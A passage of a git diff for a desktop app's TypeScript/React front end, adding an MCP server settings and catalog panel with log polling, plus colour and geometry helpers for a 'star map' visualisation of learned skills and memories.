+  const status = statusOf(entry, probe)
+
+  // OAuth is only offered to servers that are actually OAuth-shaped. A server
+  // with `headers` uses API-key/bearer auth — a 401 there means a bad key, NOT
+  // "log in with OAuth"; routing it through the browser flow would wrongly
+  // rewrite its config to `auth: oauth`. So: explicit `auth: oauth` can re-auth
+  // on failure; an auth-less HTTP server may try OAuth on a 401; header servers
+  // never do.
+  const hasHeaderAuth = !!entry.headers && typeof entry.headers === 'object'
+
+  const canAuth =
+    typeof entry.url === 'string' &&
+    !hasHeaderAuth &&
+    (entry.auth === 'oauth' ? status === 'needs-auth' || status === 'error' : !entry.auth && status === 'needs-auth')
+
+  const summary = probe && probe !== 'probing' && probe.ok ? capabilitySummary(m, probe, entry) : null
+
+  return (
+    // p-2 matches the list view's container so flipping list ⇄ config keeps
+    // content anchored at the same origin.
+    <div className="min-h-0 flex-1 overflow-y-auto overscroll-contain p-2 [scrollbar-gutter:stable]">
+      {/* Geometry cloned from McpRow so nothing jumps when flipping list ⇄
+          config: items-start with per-element top margins that reproduce the
+          row's h-11 centering exactly (h-5 controls → mt-3, size-6 avatar →
+          mt-2.5, h-4 switch → mt-3.5) no matter how tall the text column gets. */}
+      <div className="flex items-start gap-2 pr-1.5">
+        <Tip label={m.allServers}>
+          <Button
+            aria-label={m.allServers}
+            className={cn('mt-3', ICON_BUTTON)}
+            onClick={onBack}
+            size="icon"
+            variant="ghost"
+          >
+            <Codicon name="chevron-left" size="0.8125rem" />
+          </Button>
+        </Tip>
+        <McpAvatar className="mt-2.5" name={name} status={status} />
+        <div className="min-w-0 flex-1 pt-1">
+          <h3 className="min-w-0 truncate text-[0.9375rem] font-semibold tracking-tight">{prettyName(name)}</h3>
+          <p className="mt-0.5 truncate text-[0.68rem] text-(--ui-text-tertiary)">
+            {typeof entry.url === 'string' ? entry.url : [entry.command, ...((entry.args as string[]) ?? [])].join(' ')}
+          </p>
+          {summary && <p className="mt-0.5 text-[0.68rem] text-(--ui-text-tertiary)">{summary}</p>}
+        </div>
+        {saved && (
+          // Direct row children (no wrapper): the icons↔switch gap must be the
+          // row's own gap-2, byte-identical to McpRow.
+          <>
+            <ServerIconActions
+              className="mt-3"
+              onProbe={onProbe}
+              onRemove={onRemove}
+              probing={probe === 'probing'}
+              saving={saving}
+            />
+            <ServerSwitch
+              className="mt-3.5"
+              disabled={saving}
+              enabled={serverEnabled(entry)}
+              name={name}
+              onToggle={onToggle}
+            />
+          </>
+        )}
+      </div>
+
+      {description && (
+        <p className="mt-2 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+          {description}
+        </p>
+      )}
+
+      {canAuth && saved && (
+        <div className="mt-3 flex justify-end">
+          <Button disabled={authing} onClick={onAuthenticate} size="xs">
+            {authing ? m.waitingForBrowser : m.authenticate}
+          </Button>
+        </div>
+      )}
+      {!saved && <p className="mt-3 text-[0.68rem] text-muted-foreground/60">{m.unsavedConnect}</p>}
+
+      {status === 'probing' && <PageLoader className="min-h-24" label={t.skills.loading} />}
+
+      {/* No inline error dump — the status dot/line says "Error"/"Needs
+          authentication", and the actual failure lands in the logs pane below
+          (and the console). A big red block here just shouts the same thing. */}
+
+      {probe && probe !== 'probing' && probe.ok && probe.tools.length > 0 && (
+        <div className="mt-3 flex flex-wrap gap-1">
+          {/* Chip = a discovered tool; click to include/exclude it (struck
+              through when excluded, so it won't register). The probe always
+              lists every tool regardless of the filter. */}
+          {probe.tools.map(tool => {
+            const on = isToolEnabled(entry, tool.name)
+
+            return (
+              <button
+                aria-pressed={on}
+                className={cn(
+                  'rounded-md px-1.5 py-0.5 font-mono text-[0.65rem] text-(--ui-text-tertiary) hover:text-foreground',
+                  saved ? 'cursor-pointer' : 'cursor-default',
+                  on ? 'bg-(--ui-bg-quinary)' : 'line-through opacity-70'
+                )}
+                disabled={!saved}
+                key={tool.name}
+                onClick={() => onToggleTool(tool.name)}
+                title={on ? m.disableTool(tool.name) : m.enableTool(tool.name)}
+                type="button"
+              >
+                {tool.name}
+              </button>
+            )
+          })}
+        </div>
+      )}
+    </div>
+  )
+}
+
+// The enable toggle, shared by the row and the config header. It reflects the
+// configured `enabled` flag ONLY — full-strength when on, dimmed when off — so
+// "is this on?" reads instantly from config, never gated on a probe that can
+// take seconds (stdio servers spawn `npx`). Whether it's actually *connected*
+// is the status dot's job, not the switch's.
+function ServerSwitch({
+  className,
+  disabled,
+  enabled,
+  name,
+  onToggle
+}: {
+  className?: string
+  disabled: boolean
+  enabled: boolean
+  name: string
+  onToggle: (checked: boolean) => void
+}) {
+  return (
+    <Switch
+      aria-label={name}
+      checked={enabled}
+      className={cn('shrink-0 cursor-pointer', !enabled && 'opacity-60', className)}
+      disabled={disabled}
+      onCheckedChange={onToggle}
+      size="xs"
+      title={name}
+    />
+  )
+}
+
+// Refresh + delete, identical beside every toggle (rows and config header).
+function ServerIconActions({
+  className,
+  onProbe,
+  onRemove,
+  probing,
+  saving
+}: {
+  className?: string
+  onProbe: () => void
+  onRemove: () => void
+  probing: boolean
+  saving: boolean
+}) {
+  const { t } = useI18n()
+  const m = t.settings.mcp
+
+  return (
+    <span className={cn('flex items-center gap-0.5', className)}>
+      <Tip label={m.reload}>
+        <Button
+          aria-label={m.reload}
+          className={ICON_BUTTON}
+          disabled={probing}
+          onClick={onProbe}
+          size="icon"
+          variant="ghost"
+        >
+          <Codicon name="refresh" size="0.8125rem" spinning={probing} />
+        </Button>
+      </Tip>
+      <Tip label={m.remove}>
+        <Button
+          aria-label={m.remove}
+          className={cn(ICON_BUTTON, 'hover:text-destructive')}
+          disabled={saving}
+          onClick={onRemove}
+          size="icon"
+          variant="ghost"
+        >
+          <Codicon name="trash" size="0.8125rem" />
+        </Button>
+      </Tip>
+    </span>
+  )
+}
+
+// Small gray attribute chip (transport / auth / needs-build), matching the
+// catalog's flat row treatment.
+function CatalogTag({ children }: { children: string }) {
+  return (
+    <span className="rounded bg-(--ui-bg-tertiary) px-1.5 py-0.5 text-[0.6rem] text-(--ui-text-secondary)">
+      {children}
+    </span>
+  )
+}
+
+// The Nous-approved MCP catalog: one-click installs of curated servers, with an
+// inline prompt for any required credentials (never shows stored values). On
+// install the parent refetches config + catalog and reloads live sessions.
+function McpCatalog({
+  entries,
+  loading,
+  onInstalled
+}: {
+  entries: McpCatalogEntry[]
+  loading: boolean
+  onInstalled: () => void
+}) {
+  const { t } = useI18n()
+  const m = t.settings.mcp
+  const [installing, setInstalling] = useState<null | string>(null)
+  const [envDrafts, setEnvDrafts] = useState<Record<string, Record<string, string>>>({})
+  const [envOpenFor, setEnvOpenFor] = useState<null | string>(null)
+
+  const install = async (entry: McpCatalogEntry) => {
+    const required = entry.required_env.filter(env => env.required)
+    const draft = envDrafts[entry.name] ?? {}
+
+    // Reveal the credential prompt first; only error once it's shown and unfilled.
+    if (required.some(env => !draft[env.name]?.trim())) {
+      if (envOpenFor !== entry.name) {
+        setEnvOpenFor(entry.name)
+
+        return
+      }
+
+      notify({ kind: 'error', title: m.catalogEnvPrompt(entry.name), message: m.catalogEnvRequired })
+
+      return
+    }
+
+    setInstalling(entry.name)
+
+    try {
+      const res = await installMcpCatalogEntry(entry.name, draft)
+
+      // Git-backed entries clone in the background — keep the row busy and poll
+      // the action to completion before refetching / re-enabling, so a re-click
+      // can't spawn a second install over the first's tracked process. A non-zero
+      // exit is a real failure — surface it instead of a false success.
+      if (res.background && res.action) {
+        for (;;) {
+          const status = await getActionStatus(res.action, 1)
+
+          if (!status.running) {
+            if (status.exit_code !== 0) {
+              throw new Error(m.catalogInstallFailed(entry.name))
+            }
+
+            break
+          }
+
+          await new Promise(resolve => setTimeout(resolve, CATALOG_INSTALL_POLL_MS))
+        }
+      }
+
+      notify({ kind: 'success', title: m.catalogInstallStarted(entry.name), message: '' })
+      setEnvOpenFor(null)
+      onInstalled()
+    } catch (err) {
+      notifyError(err, m.catalogInstallFailed(entry.name))
+    } finally {
+      setInstalling(null)
+    }
+  }
+
+  if (loading) {
+    return <PageLoader className="min-h-24" label={m.catalogLoading} />
+  }
+
+  if (entries.length === 0) {
+    return <PanelEmpty description={m.catalogEmpty} icon="plug" title={m.tabCatalog} />
+  }
+
+  return (
+    <div className="flex flex-col">
+      {entries.map(entry => {
+        const draft = envDrafts[entry.name] ?? {}
+
+        return (
+          <div className="rounded-md px-2 py-2" key={entry.name}>
+            <div className="flex items-start gap-2">
+              {/* 2px nudge so the start-aligned avatar sits where McpRow's
+                  center-aligned one does — no jump when flipping Servers⇄Catalog. */}
+              <McpAvatar
+                className="mt-0.5"
+                name={entry.name}
+                status={entry.installed ? (entry.enabled ? 'ok' : 'off') : 'unknown'}
+              />
+              <div className="min-w-0 flex-1">
+                <div className="flex flex-wrap items-center gap-1.5">
+                  <span className="truncate text-[0.78rem] font-medium text-foreground/85">
+                    {prettyName(entry.name)}
+                  </span>
+                  <CatalogTag>{entry.transport}</CatalogTag>
+                  {entry.auth_type === 'oauth' && <CatalogTag>OAuth</CatalogTag>}
+                  {entry.auth_type === 'api_key' && <CatalogTag>API key</CatalogTag>}
+                  {entry.needs_install && !entry.installed && <CatalogTag>{m.catalogNeedsInstall}</CatalogTag>}
+                  {entry.installed && (
+                    <span className="text-[0.6rem] text-emerald-400">
+                      {entry.enabled ? m.catalogEnabled : m.catalogInstalled}
+                    </span>
+                  )}
+                </div>
+                <p className="mt-0.5 line-clamp-2 text-[0.68rem] text-muted-foreground/70">{entry.description}</p>
+                {envOpenFor === entry.name && entry.required_env.length > 0 && (
+                  <div className="mt-2 grid gap-2">
+                    {entry.required_env.map(env => (
+                      <label className="grid gap-1" key={env.name}>
+                        <span className="text-[0.62rem] text-muted-foreground">
+                          {env.prompt || env.name}
+                          {env.required ? ' *' : ''}
+                        </span>
+                        <Input
+                          className="h-7 text-xs"
+                          onChange={event =>
+                            setEnvDrafts(prev => ({
+                              ...prev,
+                              [entry.name]: { ...prev[entry.name], [env.name]: event.currentTarget.value }
+                            }))
+                          }
+                          type="password"
+                          value={draft[env.name] ?? ''}
+                        />
+                      </label>
+                    ))}
+                  </div>
+                )}
+              </div>
+              <Button
+                className="mt-0.5 shrink-0"
+                disabled={entry.installed || installing !== null}
+                onClick={() => void install(entry)}
+                size="xs"
+                variant="text"
+              >
+                {installing === entry.name
+                  ? m.catalogInstalling
+                  : entry.installed
+                    ? m.catalogInstalled
+                    : m.catalogInstall}
+              </Button>
+            </div>
+          </div>
+        )
+      })}
+    </div>
+  )
+}
+
+const LOG_POLL_MS = 2000
+
+// Cadence for polling a background (git-bootstrap) catalog install to completion.
+const CATALOG_INSTALL_POLL_MS = 1500
+
+const STDIO_MARKER_RE = /^===== \[.*\] starting MCP server '(.+)' =====$/
+
+// Keep only the stdio-log sections belonging to one server. The shared file
+// has no per-line tags — sections start at that server's session marker and
+// run until the next marker (any server's).
+function filterStdioSections(lines: string[], server: string): string[] {
+  const out: string[] = []
+  let inSection = false
+
+  for (const line of lines) {
+    const marker = STDIO_MARKER_RE.exec(line.trim())
+
+    if (marker) {
+      inSection = marker[1] === server
+    }
+
+    if (inSection) {
+      out.push(line)
+    }
+  }
+
+  return out
+}
+
+// The MCP output channel — Cursor's "MCP Logs" equivalent, pinned under the
+// editor. Scope follows the cursor-selected server (all servers otherwise);
+// source controls live in the pane header. Body is the app's tool-output
+// surface: CodeCardBody typography + the floating hover-reveal copy button.
+function McpLogs({
+  emptyLabel,
+  server,
+  source
+}: {
+  emptyLabel: string
+  server: null | string
+  source: 'stdio' | 'agent'
+}) {
+  const [lines, setLines] = useState<null | string[]>(null)
+  // A profile switch reroutes getLogs to the new backend; keying the effect on
+  // the active profile tears down the old poll (its `cancelled` flag blocks a
+  // late setLines) so profile A's logs never flash in B.
+  const activeProfile = useStore($activeGatewayProfile)
+
+  useEffect(() => {
+    let cancelled = false
+
+    const poll = async () => {
+      try {
+        const response =
+          source === 'stdio'
+            ? await getLogs({ file: 'mcp', lines: 500 })
+            : await getLogs({ file: 'agent', lines: 300, search: server ?? 'mcp' })
+
+        if (!cancelled) {
+          setLines(source === 'stdio' && server ? filterStdioSections(response.lines, server) : response.lines)
+        }
+      } catch {
+        // Backend momentarily unavailable — keep the last tail.
+      }
+    }
+
+    setLines(null)
+    void poll()
+    const timer = window.setInterval(() => void poll(), LOG_POLL_MS)
+
+    return () => {
+      cancelled = true
+      window.clearInterval(timer)
+    }
+  }, [server, source, activeProfile])
+
+  return <LogTail emptyLabel={emptyLabel} lines={lines} />
+}
+
+// ---------------------------------------------------------------------------
+// Avatars + list rows
+// ---------------------------------------------------------------------------
+
+// Brand glyphs for well-known MCP providers, exactly the Messaging avatar
+// treatment (simpleicons on a 16% brand tint). Unknown servers fall back to
+// the same letter monogram Messaging uses.
+const MCP_BRAND_ICONS: Record<string, { Icon: ComponentType<SVGProps<SVGSVGElement>>; color: string }> = {
+  figma: { Icon: SiFigma, color: '#F24E1E' },
+  github: { Icon: SiGithub, color: '#181717' },
+  gitlab: { Icon: SiGitlab, color: '#FC6D26' },
+  linear: { Icon: SiLinear, color: '#5E6AD2' },
+  notion: { Icon: SiNotion, color: '#000000' },
+  postgres: { Icon: SiPostgresql, color: '#4169E1' },
+  postgresql: { Icon: SiPostgresql, color: '#4169E1' },
+  sentry: { Icon: SiSentry, color: '#362D59' },
+  stripe: { Icon: SiStripe, color: '#635BFF' },
+  supabase: { Icon: SiSupabase, color: '#3FCF8E' },
+  vercel: { Icon: SiVercel, color: '#000000' }
+}
+
+const brandFor = (name: string) => {
+  const lower = name.toLowerCase()
+
+  return MCP_BRAND_ICONS[lower] ?? Object.entries(MCP_BRAND_ICONS).find(([key]) => lower.includes(key))?.[1] ?? null
+}
+
+// PlatformAvatar (messaging), copied 1:1 — same size, radius, type scale, and
+// brand-tint treatment — plus a status dot overlay. Identity ladder: curated
+// brand glyph → letter monogram. We deliberately do NOT fetch remote favicons:
+// a configured MCP URL can be a private/internal host, and hitting Google's
+// favicon service for it would leak that hostname off-box.
+function McpAvatar({ className, name, status }: { className?: string; name: string; status: ServerStatus }) {
+  const brand = brandFor(name)
+
+  return (
+    <span
+      className={cn(
+        'relative inline-grid size-6 shrink-0 place-items-center rounded-md text-[length:var(--conversation-caption-font-size)] font-medium',
+        !brand && 'bg-(--ui-bg-tertiary) text-(--ui-text-tertiary)',
+        className
+      )}
+      style={brand ? { backgroundColor: `color-mix(in srgb, ${brand.color} 16%, transparent)` } : undefined}
+    >
+      {brand ? (
+        <brand.Icon aria-hidden className="size-3.5" style={{ color: brand.color }} />
+      ) : (
+        name.charAt(0).toUpperCase()
+      )}
+      <span
+        aria-hidden
+        className={cn(
+          'absolute -bottom-0.5 -right-0.5 size-2 rounded-full ring-2 ring-(--ui-chat-surface-background)',
+          STATUS_DOT[status]
+        )}
+      />
+    </span>
+  )
+}
+
+function McpRow({
+  active,
+  busy,
+  enabled,
+  name,
+  onProbe,
+  onRemove,
+  onSelect,
+  onToggle,
+  status,
+  statusText
+}: {
+  active: boolean
+  busy: boolean
+  enabled: boolean
+  name: string
+  onProbe: () => void
+  onRemove: () => void
+  onSelect: () => void
+  onToggle: (checked: boolean) => void
+  status: ServerStatus
+  statusText: string
+}) {
+  return (
+    <div
+      className={cn(
+        'group/row row-hover flex h-11 w-full shrink-0 items-center gap-2 rounded-md pl-2 pr-1.5 hover:text-foreground',
+        active ? 'bg-(--ui-row-active-background) text-foreground' : 'text-(--ui-text-secondary)'
+      )}
+      id={`mcp-server-${name}`}
+    >
+      <button
+        className="flex min-w-0 flex-1 cursor-pointer items-center gap-2 text-left"
+        onClick={onSelect}
+        type="button"
+      >
+        <McpAvatar name={name} status={status} />
+        <span className="min-w-0 flex-1">
+          <span
+            className={cn(
+              'block truncate text-[0.78rem]',
+              enabled ? 'font-medium text-foreground/85' : 'font-normal text-muted-foreground/60'
+            )}
+          >
+            {prettyName(name)}
+          </span>
+          <span className="block truncate text-[0.62rem] text-muted-foreground/50">{statusText}</span>
+        </span>
+      </button>
+      <ServerIconActions
+        className="opacity-0 transition-opacity focus-within:opacity-100 group-hover/row:opacity-100"
+        onProbe={onProbe}
+        onRemove={onRemove}
+        probing={status === 'probing'}
+        saving={busy}
+      />
+      <ServerSwitch disabled={busy} enabled={enabled} name={name} onToggle={onToggle} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/skills/store.ts b/ui-desktop/src/app/skills/store.ts
new file mode 100644
index 000000000..cf59d0986
--- /dev/null
+++ b/ui-desktop/src/app/skills/store.ts
@@ -0,0 +1,6 @@
+import { Codecs, persistentAtom } from '@/lib/persisted'
+
+// Per-view sort direction for the Capabilities lists — persisted so each tab
+// remembers most/least-used across navigations and restarts.
+export const $skillsSortDesc = persistentAtom('clawcodex.desktop.capabilities.skillsSortDesc', true, Codecs.bool)
+export const $toolsetsSortDesc = persistentAtom('clawcodex.desktop.capabilities.toolsetsSortDesc', true, Codecs.bool)
diff --git a/ui-desktop/src/app/starmap/color.ts b/ui-desktop/src/app/starmap/color.ts
new file mode 100644
index 000000000..acc23fbde
--- /dev/null
+++ b/ui-desktop/src/app/starmap/color.ts
@@ -0,0 +1,138 @@
+import { BLACK, MODE_DEFAULTS } from './constants'
+import { clamp } from './geometry'
+import type { Palette, Rgb } from './types'
+
+// Theme tokens come through `color-mix()`/oklch, so getComputedStyle returns a
+// non-rgb() string. Rasterize through a 1x1 canvas to get real sRGB bytes —
+// naive string parsing of oklab()/color(srgb …) silently yields black.
+let _probe: CanvasRenderingContext2D | null = null
+
+export function resolveRgb(color: string): Rgb {
+  if (!_probe) {
+    const c = document.createElement('canvas')
+    c.width = 1
+    c.height = 1
+    _probe = c.getContext('2d', { willReadFrequently: true })
+  }
+
+  if (!_probe) {
+    return { b: 184, g: 163, r: 148 }
+  }
+
+  _probe.clearRect(0, 0, 1, 1)
+  _probe.fillStyle = '#888888'
+  _probe.fillStyle = color
+  _probe.fillRect(0, 0, 1, 1)
+  const d = _probe.getImageData(0, 0, 1, 1).data
+
+  return { b: d[2], g: d[1], r: d[0] }
+}
+
+export function rgba(c: Rgb, a: number): string {
+  return `rgba(${c.r},${c.g},${c.b},${a})`
+}
+
+export function mixRgb(a: Rgb, b: Rgb, t: number): Rgb {
+  const p = clamp(t, 0, 1)
+
+  return {
+    b: Math.round(a.b + (b.b - a.b) * p),
+    g: Math.round(a.g + (b.g - a.g) * p),
+    r: Math.round(a.r + (b.r - a.r) * p)
+  }
+}
+
+export function darken(c: Rgb, amount: number): Rgb {
+  return mixRgb(c, BLACK, amount)
+}
+
+export function luminance(r: number, g: number, b: number): number {
+  return (0.2126 * r + 0.7152 * g + 0.114 * b) / 255
+}
+
+function rgbToHsl(c: Rgb): [number, number, number] {
+  const r = c.r / 255
+  const g = c.g / 255
+  const b = c.b / 255
+  const max = Math.max(r, g, b)
+  const min = Math.min(r, g, b)
+  const l = (max + min) / 2
+  const d = max - min
+  let h = 0
+  let s = 0
+
+  if (d) {
+    s = l > 0.5 ? d / (2 - max - min) : d / (max + min)
+    h = (max === r ? (g - b) / d + (g < b ? 6 : 0) : max === g ? (b - r) / d + 2 : (r - g) / d + 4) * 60
+  }
+
+  return [h, s, l]
+}
+
+function hslToRgb(h: number, s: number, l: number): Rgb {
+  const hue = ((h % 360) + 360) % 360
+  const c = (1 - Math.abs(2 * l - 1)) * s
+  const x = c * (1 - Math.abs(((hue / 60) % 2) - 1))
+  const m = l - c / 2
+
+  const [r, g, b] =
+    hue < 60
+      ? [c, x, 0]
+      : hue < 120
+        ? [x, c, 0]
+        : hue < 180
+          ? [0, c, x]
+          : hue < 240
+            ? [0, x, c]
+            : hue < 300
+              ? [x, 0, c]
+              : [c, 0, x]
+
+  return { b: Math.round((b + m) * 255), g: Math.round((g + m) * 255), r: Math.round((r + m) * 255) }
+}
+
+// Complementary ink: rotate the source hue (the theme primary) and keep it vivid
+// so memories read as a distinct color from skills, in any theme.
+function complementaryInk(c: Rgb): Rgb {
+  const [h, s, l] = rgbToHsl(c)
+
+  return hslToRgb(h + 165, Math.max(s, 0.5), clamp(l, 0.5, 0.7))
+}
+
+// Memory ink: the complementary hue muted toward the overlay background so it
+// reads as a distinct-but-quiet color (fake alpha), not a loud full-sat pop.
+export function memoryInkFor(primary: Rgb, bg: Rgb): Rgb {
+  return mixRgb(complementaryInk(primary), bg, 0.45)
+}
+
+// Resolve the theme-derived palette once per theme change — the resolveRgb probe
+// does a getImageData readback, so this stays out of the per-frame path. Node
+// groups borrow restrained tint from the theme; structure stays foreground ink.
+export function computePalette(canvas: HTMLCanvasElement): Palette {
+  const style = getComputedStyle(canvas)
+  const fg = resolveRgb(style.color)
+  const darkTheme = luminance(fg.r, fg.g, fg.b) > 0.55
+  const base: Rgb = darkTheme ? { b: 255, g: 255, r: 255 } : { b: 0, g: 0, r: 0 }
+  const primary = resolveRgb(style.getPropertyValue('--theme-primary').trim() || style.color)
+
+  const bg = resolveRgb(
+    style.getPropertyValue('--background').trim() ||
+      style.getPropertyValue('--dt-background').trim() ||
+      (darkTheme ? '#000' : '#fff')
+  )
+
+  return {
+    // Band tint derives from the theme primary so rings read consistently in
+    // both modes (foreground ink would go white on dark / black on light).
+    bandInk: mixRgb(primary, base, darkTheme ? 0.3 : 0),
+    base,
+    bg,
+    c: MODE_DEFAULTS[darkTheme ? 'dark' : 'light'],
+    chipBg: darkTheme ? 'rgba(0,0,0,0.72)' : 'rgba(255,255,255,0.85)',
+    darkTheme,
+    inkInv: darkTheme ? 'rgba(0,0,0,1)' : 'rgba(255,255,255,1)',
+    memoryInk: memoryInkFor(primary, bg),
+    primary,
+    skillInk: mixRgb(primary, base, darkTheme ? 0.12 : 0.18)
+  }
+}
diff --git a/ui-desktop/src/app/starmap/constants.ts b/ui-desktop/src/app/starmap/constants.ts
new file mode 100644
index 000000000..f4566956d
--- /dev/null
+++ b/ui-desktop/src/app/starmap/constants.ts
@@ -0,0 +1,62 @@
+import type { StarmapNode } from '@/types/clawcodex'
+
+import type { GraphParams, Rgb, RingParams, Shape } from './types'
+
+// ── Disk geometry ────────────────────────────────────────────────────────────
+export const RING_INNER = 58
+export const RING_OUTER = 340
+export const ZOOM_MIN = 0.3
+export const ZOOM_MAX = 5
+export const FIT_PADDING = 80
+export const TILT = 1 // vertical squash → "looking down at a tilted disk"
+export const RING_STEPS = 4
+
+export const WHITE: Rgb = { b: 255, g: 255, r: 255 }
+export const BLACK: Rgb = { b: 0, g: 0, r: 0 }
+
+// Fixed recency (age) gradient — old content quiet, recent content bright.
+export const AGE_GRADIENT = { mid: 0.52, midInk: 0.74, newInk: 0.95, oldInk: 0.42, reach: 1 }
+
+// Node glyph per kind — pure path geometry (the seam a future sprite/instanced
+// renderer would bake from).
+export const NODE_SHAPE: Record<StarmapNode['kind'], Shape> = { memory: 'diamond', skill: 'circle' }
+
+// Darken the orb body so a bright primary doesn't swallow the sheen (the
+// highlight is computed from the original ink, so it still reads).
+export const ORB_DARKEN = 0.3
+
+// Sheen forced this high when the orb ink is near-white (a white body needs a
+// pure-white core to read as a sphere at all).
+export const WHITEISH_SHEEN = 0.95
+
+// Flat wash alpha for a lit (hovered/selected) date's band. The focused ring
+// outline derives from this (×2).
+export const LIT_BAND_ALPHA = 0.04
+
+export const MODE_DEFAULTS: Record<'dark' | 'light', GraphParams> = {
+  dark: {
+    lineAlpha: 0.24,
+    lineDash: 1.5,
+    lineDashed: true,
+    lineWidth: 0.5,
+    ringAlpha: 0.1,
+    ringDash: 4,
+    ringDashed: false,
+    ringWidth: 1.5
+  },
+  light: {
+    lineAlpha: 0.18,
+    lineDash: 1.5,
+    lineDashed: true,
+    lineWidth: 0.5,
+    ringAlpha: 0.06,
+    ringDash: 4,
+    ringDashed: false,
+    ringWidth: 2
+  }
+}
+
+export const RING_PARAMS: Record<'dark' | 'light', RingParams> = {
+  dark: { bandAlpha: 0.01, lightSize: 0.64, ringAlpha: 0.06, sheen: 0.12 },
+  light: { bandAlpha: 0.03, lightSize: 0.27, ringAlpha: 0.028, sheen: 0.1 }
+}
diff --git a/ui-desktop/src/app/starmap/geometry.ts b/ui-desktop/src/app/starmap/geometry.ts
new file mode 100644
index 000000000..c91d010a1
--- /dev/null
+++ b/ui-desktop/src/app/starmap/geometry.ts
@@ -0,0 +1,132 @@
+import type { StarmapNode } from '@/types/clawcodex'
+
+import { AGE_GRADIENT, FIT_PADDING, RING_INNER, RING_OUTER, TILT, ZOOM_MAX, ZOOM_MIN } from './constants'
+import type { Ring, Shape, Viewport } from './types'
+
+export function clamp(v: number, lo: number, hi: number): number {
+  return Math.max(lo, Math.min(hi, v))
+}
+
+// FNV-1a — stable per-id seed for layout angle / starfield.
+export function hash(input: string): number {
+  let h = 2166136261
+
+  for (let i = 0; i < input.length; i += 1) {
+    h ^= input.charCodeAt(i)
+    h = Math.imul(h, 16777619)
+  }
+
+  return h >>> 0
+}
+
+export function nodeRadius(n: StarmapNode): number {
+  if (n.kind === 'memory') {
+    return 4.4
+  }
+
+  const base = n.state === 'archived' || n.state === 'stale' ? 2.4 : 3
+
+  return base + Math.sqrt(Math.max(0, n.useCount)) * 0.55 + (n.pinned ? 0.8 : 0)
+}
+
+// Smoothstep recency → ink alpha along the age gradient.
+export function recencyInk(rec: number): number {
+  const reach = Math.max(0.01, AGE_GRADIENT.reach)
+  const mid = clamp(AGE_GRADIENT.mid, 0.01, 0.99)
+  const t = clamp(rec / reach, 0, 1)
+
+  if (t <= mid) {
+    const p = t / mid
+
+    return AGE_GRADIENT.oldInk + (AGE_GRADIENT.midInk - AGE_GRADIENT.oldInk) * (p * p * (3 - 2 * p))
+  }
+
+  const p = (t - mid) / (1 - mid)
+
+  return AGE_GRADIENT.midInk + (AGE_GRADIENT.newInk - AGE_GRADIENT.midInk) * (p * p * (3 - 2 * p))
+}
+
+// Trace a centred geometric shape of radius r into the current path.
+export function shapePath(ctx: CanvasRenderingContext2D, shape: Shape, x: number, y: number, r: number): void {
+  ctx.beginPath()
+
+  if (shape === 'square') {
+    ctx.rect(x - r, y - r, r * 2, r * 2)
+
+    return
+  }
+
+  if (shape === 'circle') {
+    ctx.arc(x, y, r, 0, Math.PI * 2)
+
+    return
+  }
+
+  const pts = shape === 'diamond' ? 4 : shape === 'triangle' ? 3 : 6
+  // Diamond/triangle point up; hexagon is flat-topped.
+  const rot = shape === 'hexagon' ? Math.PI / 6 : -Math.PI / 2
+
+  for (let i = 0; i < pts; i += 1) {
+    const a = rot + (i / pts) * Math.PI * 2
+    const px = x + Math.cos(a) * r
+    const py = y + Math.sin(a) * r
+
+    if (i === 0) {
+      ctx.moveTo(px, py)
+    } else {
+      ctx.lineTo(px, py)
+    }
+  }
+
+  ctx.closePath()
+}
+
+// Center the tilted disk in the viewport at a fit zoom. `outer` is the radius to
+// fit (defaults to the full disk); the scrubber passes the revealed extent so the
+// camera tightens at the core and zooms out as the rings grow.
+export function fitViewport(w: number, h: number, outer: number = RING_OUTER): Viewport {
+  if (w <= 0 || h <= 0) {
+    return { k: 1, x: w / 2, y: h / 2 }
+  }
+
+  // Fit zoom for a disk of radius r into this viewport (capped at 2.2× zoom-in).
+  const kFor = (r: number): number => {
+    const spanX = (r + 30) * 2
+
+    return Math.min((w - FIT_PADDING * 2) / spanX, (h - FIT_PADDING * 2) / (spanX * TILT), 2.2)
+  }
+
+  // Never zoom out past the reference (RING_OUTER / 5-ring) extent: a bigger map
+  // renders at that constant scale and overflows — you pan it — instead of
+  // shrinking every node to fit. Smaller extents (few rings, or the playback
+  // core) still fit tightly / zoom in.
+  const k = clamp(Math.max(kFor(outer), kFor(RING_OUTER)), ZOOM_MIN, ZOOM_MAX)
+
+  // Bias the center down a touch — the timeline along the top adds visual weight
+  // up there, so true-center reads as sitting high.
+  return { k, x: w / 2, y: h / 2 + h * 0.05 }
+}
+
+// Target radius for a node at recency `rec` (oldest at the core), scaled to a
+// disk of the given outer radius.
+export function radiusForRecency(rec: number, outer: number = RING_OUTER): number {
+  return RING_INNER + rec * (outer - RING_INNER)
+}
+
+// Screen-space scale at the graph's fully-rested fit. Nodes size against THIS,
+// not the live (playback) camera — so a spore-zoom moves WHERE they sit, not how
+// big they read (billboarded), while a full-map view keeps its honest density.
+export const fitScale = (w: number, h: number, rings: Ring[]): number =>
+  fitViewport(w, h, rings.at(-1)?.r ?? RING_OUTER).k
+
+// Squared distance from point (px,py) to segment a→b — for cheap link hit-tests.
+export function distToSegmentSq(px: number, py: number, ax: number, ay: number, bx: number, by: number): number {
+  const dx = bx - ax
+  const dy = by - ay
+  const len = dx * dx + dy * dy
+  const t = len ? clamp(((px - ax) * dx + (py - ay) * dy) / len, 0, 1) : 0
+  const cx = ax + dx * t
+  const cy = ay + dy * t
+
+  return (px - cx) ** 2 + (py - cy) ** 2
+}
diff --git a/ui-desktop/src/app/starmap/index.tsx b/ui-desktop/src/app/starmap/index.tsx
new file mode 100644
index 000000000..0574da115
--- /dev/null
+++ b/ui-desktop/src/app/starmap/index.tsx
@@ -0,0 +1,58 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { PageLoader } from '@/components/page-loader'
+import { useI18n } from '@/i18n'
+import { $starmapError, $starmapGraph, $starmapLoading, loadStarmapGraph } from '@/store/starmap'
+import type { StarmapGraph } from '@/types/clawcodex'
+
+import { Panel, PanelEmpty } from '../overlays/panel'
+
+import { StarMap } from './star-map'
+
+// Star map overlay: a top-down map of what ClawCodex has learned for a profile,
+// over a radial time axis. Data is fetched on demand into the $starmap* atoms;
+// the map itself lives in ./star-map. The chrome is owned by the map itself
+// (timeline scrubber + legend float over the canvas), so there's no panel
+// header here.
+export function StarmapView({ onClose }: { onClose: () => void }) {
+  const { t } = useI18n()
+  const graph = useStore($starmapGraph)
